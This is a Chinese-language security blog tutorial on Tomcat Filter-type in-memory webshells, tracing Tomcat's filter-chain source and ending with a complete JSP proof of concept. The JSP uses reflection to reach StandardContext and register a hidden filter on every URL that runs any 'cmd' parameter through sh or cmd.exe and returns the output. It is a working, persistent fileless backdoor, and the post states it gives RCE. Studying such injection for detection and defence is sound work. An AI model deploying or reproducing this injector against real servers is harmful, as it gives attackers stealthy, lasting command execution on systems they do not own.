Java内存马之Filter型内存马

参考文章:

https://longlone.top/%E5%AE%89%E5%85%A8/java/java%E5%AE%89%E5%85%A8/%E5%86%85%E5%AD%98%E9%A9%AC/Tomcat-Filter%E5%9E%8B/

https://xz.aliyun.com/news/13078#24-filter%E5%AE%B9%E5%99%A8%E4%B8%8Efilterdefsfilterconfigsfiltermapsfilterchain

https://github.com/Y4tacker/JavaSec/blob/main/5.%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/Tomcat/Tomcat-Filter%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/Tomcat-Filter%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC.md

0x01关于Filter过滤器

Filter顾名思义就是过滤器的意思,这个之前php的时候也接触过不少了

之前研究servlet的时候就可以知道,当tomcat接收到请求时候,依次会经过Listener -> Filter -> Servlet

在tomcat中,filter是位于客户端请求和目标资源servlet之间的,可以对请求和响应进行拦截和过滤处理的一种组件容器

这里放一个师傅的图

img

由途中不难看出,我们的请求在经过servlet之前会经过filter,这个filter可能是一层也可能是多层,但最终都会在servlet对请求进行拦截处理,那么我们可以得出一个思路:如果我们动态创建一个filter并放在最前面,那么我们的filter就会最先执行,若我们创建的filter中存在恶意代码,那么就可以实现恶意代码执行,形成内存马。

0x02实现Filter的Demo

我们先写一个TestFilter

因为Servlet规范力定义了一个Filter接口,如果需要实现一个过滤器的话就需要实现filter接口,我们看看这个接口有哪些函数方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package javax.servlet;

import java.io.IOException;

public interface Filter {
default void init(FilterConfig filterConfig) throws ServletException {
}

void doFilter(ServletRequest var1, ServletResponse var2, FilterChain var3) throws IOException, ServletException;

default void destroy() {
}
}

那根据这个接口的方法去写一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package org.example;

import javax.servlet.*;
import java.io.IOException;

public class TestFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter init");
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
System.out.println("Filter doFilter");

//放行请求
chain.doFilter(request, response);
}

@Override
public void destroy() {
System.out.println("Filter destroy");
}
}

然后我们配置一下xml

1
2
3
4
5
6
7
8
<filter>
<filter-name>TestFilter</filter-name>
<filter-class>org.example.TestFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>TestFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

需要解释一下/* 表示匹配所有请求(无论访问哪个路径都会经过 TestFilter)。

0x03Filter源码分析

感觉这里的分析不太详细,另外的分析额外写在了0x05中

从代码层面看Filter的运行流程

然后我们在doFilter方法打下断点并启动服务器

image-20250822115112927

跟进org.apache.catalina.core.StandardWrapperValve#invoke()

image-20250822120252710

1
filterChain.doFilter(request.getRequest(), response.getResponse());

我们跟进这个filterChain看看他怎么得来的

1
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

跟进createFilterChain方法

image-20250822120739723

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {

// If there is no servlet to execute, return null
if (servlet == null) {
return null;
}

// Create and initialize a filter chain object
ApplicationFilterChain filterChain;
if (request instanceof Request) {
Request req = (Request) request;
if (Globals.IS_SECURITY_ENABLED) {
// Security: Do not recycle
filterChain = new ApplicationFilterChain();
} else {
filterChain = (ApplicationFilterChain) req.getFilterChain();
if (filterChain == null) {
filterChain = new ApplicationFilterChain();
req.setFilterChain(filterChain);
}
}
} else {
// Request dispatcher in use
filterChain = new ApplicationFilterChain();
}

filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());

// Acquire the filter mappings for this Context
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();

// If there are no filter mappings, we are done
if (filterMaps == null || filterMaps.length == 0) {
return filterChain;
}

// Acquire the information we will need to match filter mappings
DispatcherType dispatcher = (DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR);

String requestPath = FilterUtil.getRequestPath(request);

String servletName = wrapper.getName();

// Add the relevant path-mapped filters to this filter chain
for (FilterMap filterMap : filterMaps) {
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
if (!FilterUtil.matchFiltersURL(filterMap, requestPath)) {
continue;
}
ApplicationFilterConfig filterConfig =
(ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
log.warn(sm.getString("applicationFilterFactory.noFilterConfig", filterMap.getFilterName()));
continue;
}
filterChain.addFilter(filterConfig);
}

// Add filters that match on servlet name second
for (FilterMap filterMap : filterMaps) {
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
if (!matchFiltersServlet(filterMap, servletName)) {
continue;
}
ApplicationFilterConfig filterConfig =
(ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
log.warn(sm.getString("applicationFilterFactory.noFilterConfig", filterMap.getFilterName()));
continue;
}
filterChain.addFilter(filterConfig);
}

// Return the completed filter chain
return filterChain;
}

该函数接收一个请求对象,一个Wrapper对象和一个servlet目标实例,其实就是在客户端请求和目标servlet之间建立一个filter过滤器链

这里的话会先判断servlet是否为空,如果是那么就表示请求的servlet不是一个有效的servlet,就返回一个null。之后创建和初始化一个过滤器链对象filterChain,根据传入的ServletRequest判断如果是request类型就并且开启了安全模式的话每次就会新创建一个filterChain,如果没开启那就尝试调用getFilterChain()从请求中获取现有的过滤器链,如果没获取到就新建一个新的filterChain并调用setFilterChain()设置filterChain。

然后就是设置filterChain的servlet,标记servlet是否支持异步,随后就是关键的地方了

Wrapper中获取父级上下文(StandardContext),然后获取该上下文中定义的过滤器映射数组(FilterMap),filterMaps 保存了 web.xml / 注解里的所有 <filter-mapping>

image-20250822144046538

这里可以看到filterMaps中的filterMap主要存放了一些过滤器的名字以及作用的url等

之后提取关键的信息例如请求路径,目标servlet名字等

接下来会遍历filterMaps中的filterMap,如果发现请求的url和filterMap中的urlPattern匹配的话就通过filtername名字查找对应的filterconfig,找到就会将其添加到filter过滤器链中

image-20250822144303652

例如看看filterconfig的内容

image-20250822144554648

这里包含了filtername名字、filterclass所属类、filter以及filterDef

到这里filterchain就完成了创建,回到刚刚的doFilter方法中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public void doFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException {

if (Globals.IS_SECURITY_ENABLED) {
final ServletRequest req = request;
final ServletResponse res = response;
try {
java.security.AccessController.doPrivileged((java.security.PrivilegedExceptionAction<Void>) () -> {
internalDoFilter(req, res);
return null;
});
} catch (PrivilegedActionException pe) {
Exception e = pe.getException();
if (e instanceof ServletException) {
throw (ServletException) e;
} else if (e instanceof IOException) {
throw (IOException) e;
} else if (e instanceof RuntimeException) {
throw (RuntimeException) e;
} else {
throw new ServletException(e.getMessage(), e);
}
}
} else {
internalDoFilter(request, response);
}
}

先判断是否是安全模式,这里是false,则直接调用else的internalDoFilter方法,步入该方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
private void internalDoFilter(ServletRequest request, ServletResponse response)
throws IOException, ServletException {

// Call the next filter if there is one
if (pos < n) {
ApplicationFilterConfig filterConfig = filters[pos++];
try {
Filter filter = filterConfig.getFilter();

if (request.isAsyncSupported() && !(filterConfig.getFilterDef().getAsyncSupportedBoolean())) {
request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);
}
if (Globals.IS_SECURITY_ENABLED) {
final ServletRequest req = request;
final ServletResponse res = response;
Principal principal = ((HttpServletRequest) req).getUserPrincipal();

Object[] args = new Object[] { req, res, this };
SecurityUtil.doAsPrivilege("doFilter", filter, classType, args, principal);
} else {
filter.doFilter(request, response, this);
}
} catch (IOException | ServletException | RuntimeException e) {
throw e;
} catch (Throwable e) {
e = ExceptionUtils.unwrapInvocationTargetException(e);
ExceptionUtils.handleThrowable(e);
throw new ServletException(sm.getString("filterChain.filter"), e);
}
return;
}

// We fell off the end of the chain -- call the servlet instance
try {
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);
}

if (request.isAsyncSupported() && !servletSupportsAsync) {
request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);
}
// Use potentially wrapped request from this point
if ((request instanceof HttpServletRequest) && (response instanceof HttpServletResponse) &&
Globals.IS_SECURITY_ENABLED) {
final ServletRequest req = request;
final ServletResponse res = response;
Principal principal = ((HttpServletRequest) req).getUserPrincipal();
Object[] args = new Object[] { req, res };
SecurityUtil.doAsPrivilege("service", servlet, classTypeUsedInService, args, principal);
} else {
servlet.service(request, response);
}
} catch (IOException | ServletException | RuntimeException e) {
throw e;
} catch (Throwable e) {
e = ExceptionUtils.unwrapInvocationTargetException(e);
ExceptionUtils.handleThrowable(e);
throw new ServletException(sm.getString("filterChain.servlet"), e);
} finally {
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(null);
lastServicedResponse.set(null);
}
}
}

其实就是一个按顺序执行filter,最后调用最终的servlet的过程

这里会从filters中依次拿到filter和filterConfig,最终调用filter.doFilter()

到这里的话其实调试就完了

从代码层面看Filter的初始化流程

这次我们打个断点在init方法,因为这里的话肯定是初始化的时候

org.apache.catalina.core.StandardContext#filterStart

image-20250822161547169

首先对filterDefs进行foreach,我们看看这个filterDefs的值是HashMap类型的键值对类型,内容就是过滤器名称和一个filterDefs对象

image-20250822162338463

这样看的话就很明了了,filterDefs对象的值就是这些,那filterDefs如何添加呢?StandardContext里面有一个add方法

1
2
3
4
5
6
7
8
9
@Override
public void addFilterDef(FilterDef filterDef) {

synchronized (filterDefs) {
filterDefs.put(filterDef.getFilterName(), filterDef);
}
fireContainerEvent("addFilterDef", filterDef);

}

我们继续往下看

image-20250822163022498

这里对filterConfigs这个HashMap设置ApplicationFilterConfig,具体跟进看看

image-20250822163856303

参数中context就是一个StandardContext对象,filterDef就是一个filterDef对象

这里的话主要是两种处理方式

1
2
3
4
5
6
7
if (filterDef.getFilter() == null) {
getFilter();
} else {
this.filter = filterDef.getFilter();
context.getInstanceManager().newInstance(filter);
initFilter();
}
  1. 首先判断filterDef.getFilter()检查是否有filter实例,为空则通过getFilter()去实例化一个filter
  2. 如果不为空的话就getFilter()去获取该实例

跟进getFilter看看类里有什么方法

image-20250822164815456

刚好有一个setter方法可以用,并且还是public类型的

结合上面的addFilterDef就可以将Filter实例设置并添加进去

1
2
3
FilterDef filterdef = new FilterDef();
filterdef.setFilter(filter);
standardContext.addFilterDef(filterdef)

0x04Filter内存马实现

其实从上面的代码中不难看出在createFilterChain方法中有两个很重要的方法org.apache.catalina.core.StandardContext#findFilterMapsorg.apache.catalina.core.StandardContext#findFilterConfig,这两个方法是用来获取FilterMap和FilterConfig的

1
2
3
4
5
6
7
8
9
@Override
public FilterMap[] findFilterMaps() {
return filterMaps.asArray();
}
public FilterConfig findFilterConfig(String name) {
synchronized (filterDefs) {
return filterConfigs.get(name);
}
}

看到这两个方法的实现,其实就是从StandardContext中提取到对应的属性filtermap和filterconfig,那么我们只要往这2个属性里面插入对应的filterMap和filterConfig即可实现动态添加filter的目的

我们找找有没有setter方法,如果有的话就直接调用去设置值就行了

首先我们来看filtermaps,StandardContext提供了对应的添加方法

image-20250822155617361

这里的话直接用addFilterMapBefore就行了,addFilterMapBefore则会自动把我们创建的filterMap丢到第一位去,无需再手动排序

然后我们来看一下filterconfig怎么添加,在StandardContext中并没有找到filterconfig有关的添加方法,但是还记得刚刚我们的filterStart方法吗,他里面有一个put添加filterconfig的流程

image-20250822170351048

那也就是说,我们只能通过反射的方法去获取相关属性并添加进去。

根据上面的所有流程,我们得知了我们只需要设置filterMaps、filterConfigs、filterDefs就可以注入恶意的filter

  • filterMaps:一个HashMap对象,包含过滤器名字和URL映射
  • filterDefs:一个HashMap对象,过滤器名字和过滤器实例的映射
  • filterConfigs变量:一个ApplicationFilterConfig对象,里面存放了filterDefs

所以Filter内存马实现的流程就是:

  1. 获取StandardContext
  2. 继承并编写一个恶意filter
  3. 实例化一个FilterDef类,包装filter并存放到StandardContext.filterDefs中
  4. 实例化一个FilterMap类,将我们的 Filter 和 urlpattern 相对应,存放到StandardContext.filterMaps中(一般会放在首位)
  5. 通过反射获取filterConfigs,实例化一个FilterConfig(ApplicationFilterConfig)类,传入StandardContext与filterDefs,存放到filterConfig中

这里需要注意一个问题就是在addFilterMap中的一个validateFilterMap方法

image-20250822171959102

这里会根据filtername去查找对应的filterdef,不然的话会抛出一个报错,也就是说,我们得先写一个filterdef,然后再修改filterMap

这里有个坑就是别忘了设置Dispatcher,这里我们设置DispatcherType.REQUEST.name()即可

Servlet 规范定义了几种 分发类型,也就是一个请求进入 Filter/Servlet 链的不同方式:

  • REQUEST
    正常的 HTTP 请求(浏览器直接访问 URL 时)。
  • FORWARD
    通过 RequestDispatcher.forward() 转发。
  • INCLUDE
    通过 RequestDispatcher.include() 包含另一个资源。
  • ERROR
    进入错误页面时(<error-page> 配置)。
  • ASYNC
    异步请求(Servlet 3.0+ 支持)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public void setDispatcher(String dispatcherString) {
String dispatcher = dispatcherString.toUpperCase(Locale.ENGLISH);

if (dispatcher.equals(DispatcherType.FORWARD.name())) {
// apply FORWARD to the global dispatcherMapping.
dispatcherMapping |= FORWARD;
} else if (dispatcher.equals(DispatcherType.INCLUDE.name())) {
// apply INCLUDE to the global dispatcherMapping.
dispatcherMapping |= INCLUDE;
} else if (dispatcher.equals(DispatcherType.REQUEST.name())) {
// apply REQUEST to the global dispatcherMapping.
dispatcherMapping |= REQUEST;
} else if (dispatcher.equals(DispatcherType.ERROR.name())) {
// apply ERROR to the global dispatcherMapping.
dispatcherMapping |= ERROR;
} else if (dispatcher.equals(DispatcherType.ASYNC.name())) {
// apply ERROR to the global dispatcherMapping.
dispatcherMapping |= ASYNC;
}
}

最终的POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%

//获取StandardContext
ServletContext servletContext = request.getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdcx = applicationContext.getClass().getDeclaredField("context");
stdcx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdcx.get(applicationContext);

// 获取filterConfigs
Field filterConfigField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigField.setAccessible(true);
Map filterConfigs = (Map) filterConfigField.get(standardContext);

String filterName = "FilterShell";
if (filterConfigs.get(filterName) == null) {
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd = servletRequest.getParameter("cmd");
if (cmd != null){
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmdArray = isLinux ? new String[]{"sh","-c",cmd} : new String[]{"cmd.exe","/c",cmd}; //根据操作系统选择shell
//执行命令并获取命令输出
InputStream in = Runtime.getRuntime().exec(cmdArray).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a"); //使用 Scanner 读取 InputStream 的内容
String output = s.hasNext() ? s.next() : ""; //如果有内容就读取,否则为空字符串
PrintWriter out = servletResponse.getWriter(); //获取 Servlet 输出流,用于返回给客户端(浏览器)
out.println(output); //打印输出
out.flush();
out.close();
}
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {

}
};

//FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);

// FilterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);


//ApplicationFilterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(filterName, filterConfig);

out.print("FilterMeInject Success !");
}
%>

访问filtershell.jsp后成功加入filter过滤器,随便发送请求并传入cmd参数进行RCE就可以了

0x05POC代码分析

为什么要写这个呢?主要是感觉前面的代码分析有点不清不楚的,想重新看一下

首先前面的获取StandardContext就不说了,这个之前就讲过

然后就是这段

1
2
3
4
// 获取filterConfigs
Field filterConfigField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigField.setAccessible(true);
Map filterConfigs = (Map) filterConfigField.get(standardContext);

为什么需要获取filterConfigs呢?

在org.apache.catalina.core.StandardContext#filterStart()方法中

image-20250822182928139

可以看到在init初始化filter的时候会将filterconfig放入filterConfigs中,而我们获取这个filterConfigs就是为了在后面添加我们动态注册的filterConfig

然后我们看这段代码

1
2
3
4
5
6
//FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);

这里的话是获取一个FilterDef,为什么需要设置这些值呢

首先初始化过程在org.apache.catalina.core.ApplicationFilterConfig#ApplicationFilterConfig()方法中

image-20250822183303835

这里的话是传入了一个filterDef,从图中可以看出里面有Filter、FilterName、FilterClass这些属性的值,所以也是我们需要设置的属性内容

接着再看这段代码

1
2
3
4
5
6
// FilterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);

首先就是在org.apache.catalina.core.ApplicationFilterFactory#createFilterChain()方法中

image-20250822183832555

这里的话会调用一个findFilterMaps去拿到FilterMap的值

image-20250822183804462

可以看到这里的话就是需要传入一个filterName、urlPatterns,然后额外设置一个DispatcherType去指定请求的处理方式

最后的话就是实例化一个filterConfig对象,并将filterConfig对象放入服务器的filterConfigs当中,也就是用put方法

到此分析就算彻底结束了~下播下播